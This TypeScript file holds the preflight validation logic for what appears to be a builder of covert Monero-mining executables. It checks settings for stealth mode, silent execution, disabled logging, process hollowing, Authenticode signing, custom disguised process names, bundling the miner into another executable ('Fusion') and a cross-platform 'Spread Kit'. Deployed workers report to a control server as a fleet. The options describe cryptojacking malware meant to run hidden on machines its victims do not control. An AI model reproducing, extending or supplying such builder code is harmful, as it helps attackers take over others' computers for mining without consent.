import type { BuildRequest } from '../types'; import type { PreflightCheck } from './forgeValidation'; function looksLikeXMRWallet(addr: string): boolean { const a = addr.trim(); // Standard Monero addresses start with 4, subaddresses with 8 return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a); } /** Extra incompatibility checks beyond basic validation. */ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] { const checks: PreflightCheck[] = []; if (form.stealth_mode && form.display_mode === 'visible') { checks.push({ id: 'stealth_display', level: 'error', message: 'Stealth mode cannot use Visible display — switch display to Silent/Background or turn off Stealth.', }); } if (form.stealth_mode && form.file_logging) { checks.push({ id: 'stealth_logs', level: 'error', message: 'Stealth mode disables log files — turn off "Write miner.log" or disable Stealth.', }); } if (form.fusion_enabled && form.display_mode === 'visible') { checks.push({ id: 'fusion_display', level: 'error', message: 'Fusion builds require silent/background display — Visible mode is not allowed with Fusion.', }); } if (form.mining_mode === 'idle') { if (form.idle_threshold_pct < 1 || form.idle_threshold_pct > 100) { checks.push({ id: 'idle_threshold', level: 'error', message: 'Idle CPU threshold must be between 1 and 100 when using Idle mining mode.', }); } if (form.idle_duration_minutes < 1) { checks.push({ id: 'idle_duration', level: 'error', message: 'Idle duration must be at least 1 minute when using Idle mining mode.', }); } } if (form.mining_mode === 'scheduled') { if (!form.schedule_start || !form.schedule_end) { checks.push({ id: 'schedule', level: 'error', message: 'Scheduled mode requires both Start Time and End Time.', }); } } if (form.thread_mode === 'fixed' && form.adapt_to_hardware) { checks.push({ id: 'adapt_fixed', level: 'warn', message: 'Adapt to hardware is ignored when Thread Mode is Fixed — consider turning it off.', }); } if (form.thread_mode === 'percent' && (form.thread_percent < 1 || form.thread_percent > 100)) { checks.push({ id: 'thread_percent_range', level: 'error', message: 'Thread Percent must be between 1 and 100.', }); } if (form.max_cpu_usage_pct < 1 || form.max_cpu_usage_pct > 100) { checks.push({ id: 'max_cpu', level: 'error', message: 'Max CPU Usage must be between 1 and 100.', }); } if (form.max_memory_percent < 10 || form.max_memory_percent > 95) { checks.push({ id: 'max_mem', level: 'error', message: 'Max Memory must be between 10 and 95.', }); } if (form.pool_port < 1 || form.pool_port > 65535) { checks.push({ id: 'pool_port', level: 'error', message: 'Pool port must be between 1 and 65535.', }); } if (form.pool_port === 443 && !form.pool_tls) { checks.push({ id: 'pool_tls_443', level: 'warn', message: 'Port 443 typically requires TLS — enable Use TLS/SSL unless your pool says otherwise.', }); } if (form.pool_tls && form.pool_port === 3333) { checks.push({ id: 'pool_tls_3333', level: 'warn', message: 'TLS on port 3333 is unusual — confirm with your pool (many use 443 for SSL).', }); } if (!form.pool_pass.trim()) { checks.push({ id: 'pool_pass', level: 'warn', message: 'Pool password empty — will default to "x" (standard for Monero).', }); } if (form.run_as === 'service') { checks.push({ id: 'run_as_service', level: 'warn', message: '"Windows Service" uses a scheduled task under the hood — not a true SCM service.', }); } if (form.ai_enabled && form.ai_ollama_endpoint.includes('127.0.0.1')) { checks.push({ id: 'ai_localhost', level: 'warn', message: 'Ollama URL uses 127.0.0.1 (Control Server). This is correct if Ollama is running on this machine.', }); } if (form.ai_enabled && !form.self_healing) { checks.push({ id: 'ai_no_heal', level: 'warn', message: 'AI Autonomy works best with Self-healing enabled — consider turning it on.', }); } const processName = form.process_name || ''; if (!processName.trim()) { checks.push({ id: 'process_name_empty', level: 'error', message: 'Process Name is required. This determines the installed .exe name.', }); } else if (!/^[a-zA-Z0-9._-]+$/.test(processName.trim())) { checks.push({ id: 'process_name', level: 'warn', message: 'Process name has unusual characters — use letters, numbers, dash, underscore only.', }); } const wallet = form.wallet || ''; const poolHost = form.pool_host || ''; const workerName = form.worker_name || ''; const serverUrl = form.server_url || ''; if (!workerName.trim()) { checks.push({ id: 'worker_name_empty', level: 'error', message: 'Worker Name is required. This identifies the machine in your fleet.', }); } if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) { checks.push({ id: 'server_url_localhost', level: 'error', message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.', }); } if (wallet.trim() && !looksLikeXMRWallet(wallet)) { checks.push({ id: 'wallet_invalid', level: 'warn', message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 95-106). Double check it.', }); } if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) { checks.push({ id: 'forge_ready', level: 'ok', message: 'Core miner config looks coherent — wallet, pool, and identity are set.', }); } if (form.fusion_enabled && fusionPrepSelected) { checks.push({ id: 'fusion_ready', level: 'ok', message: 'Fusion prep.exe attached — ready to bundle.', }); } if (form.spread_kit && form.target_os !== 'universal') { checks.push({ id: 'spread_kit_os', level: 'error', message: 'Spread Kit requires Universal target — it ships all platforms in one ZIP.', }); } if (form.spread_kit && form.fusion_enabled) { checks.push({ id: 'spread_fusion', level: 'error', message: 'Spread Kit and Fusion cannot both be enabled — pick one deliverable type.', }); } if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) { checks.push({ id: 'universal_deliverable', level: 'warn', message: 'Target OS is Universal but no Spread Kit or Fusion — choose a deliverable type or switch to a single platform.', }); } if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.process_hollowing) { checks.push({ id: 'hollow_unix', level: 'error', message: 'Process hollowing is not available on Linux or macOS.', }); } if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.sign_build) { checks.push({ id: 'sign_unix', level: 'error', message: 'Authenticode signing only applies to Windows builds.', }); } return checks; }